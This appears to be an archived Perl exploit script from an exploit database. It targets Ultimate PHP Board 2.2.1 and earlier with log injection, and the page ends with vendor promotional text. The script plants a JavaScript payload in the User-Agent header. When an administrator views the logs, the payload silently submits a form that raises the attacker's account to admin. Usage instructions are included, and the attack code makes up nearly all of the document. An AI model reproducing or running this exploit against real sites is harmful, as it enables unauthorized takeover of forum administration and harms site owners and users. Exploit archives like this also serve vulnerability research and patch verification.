#!/usr/bin/perl -w
# ------------------------------------------------------------------
# Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit
# ------------------------------------------------------------------
# by athos - staker[at]hotmail[dot]it
# download on http://www.myupb.com/
# ------------------------------------------------------------------
# Usage:
# perl xpl.pl host path id email
# perl xpl.pl localhost/upb 21 [email protected]
# ------------------------------------------------------------------
# Note: don't add me on msn messenger
# thanks evilsocket
# thanks meh for ajax code
# my email [email protected]
# ------------------------------------------------------------------
use strict;
use IO::Socket;
my ($host,$path,$id,$email) = @ARGV;
if (@ARGV != 4) {
print "\n+--------------------------------------------------------------------+\r".
"\n| Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit |\r".
"\n+--------------------------------------------------------------------+\r".
"\n(user -> admin xpl )by athos - staker[at]hotmail[dot]it\n".
"\nUsage + perl $0 [host] [path] [ID] [email]".
"\nHost + localhost".
"\nPath + forum path /upb)".
"\nID + your user ID".
"\nEmail + your/any email\n";
exit;
}
&exploit();
sub exploit () {
my $content = undef;
my $uagent = &logs;
my $packet = undef;
my $socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) or die $!;
$packet .= "GET /$path/index.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "User-Agent: $uagent\r\n";
$packet .= "Connection: close\r\n\r\n";
$socket->send($packet);
while (<$socket>) {
$content .= $_;
}
if ($content =~ m/myUPB/i) {
print "Exploit Done!\n";
print "You'll become admin when the real admin will visit the logs\n";
exit;
}
else {
print "Exploit Failed!\n";
exit;
}
}
sub logs () {
my $logs = "Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d".
"<script>var xplurl='http://$host/$path/admin_members.php?a".
"ction=edit&id=$id&page=10'; var xpldata='a=1&level=3&email".
"=$email&status&location&website&avatar&msn&yahoo&icq&sig&u_".
"timezone=0&B1=Submit';function s(s){var h=((window.ActiveXO".
"bject)?new ActiveXObject('Microsoft.XMLHTTP'):new XMLHttp".
"Request());h.open('POST', xplurl, true);h.setRequestHeader".
"('Content-type','application/x-www-form-urlencoded');h.setRe".
"questHeader('Content-length',xpldata.length);h.setRequestHea".
"der('Connection','close');h.send(xpldata);}s();</script>";
return $logs;
}
# milw0rm.com [2008-12-29]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation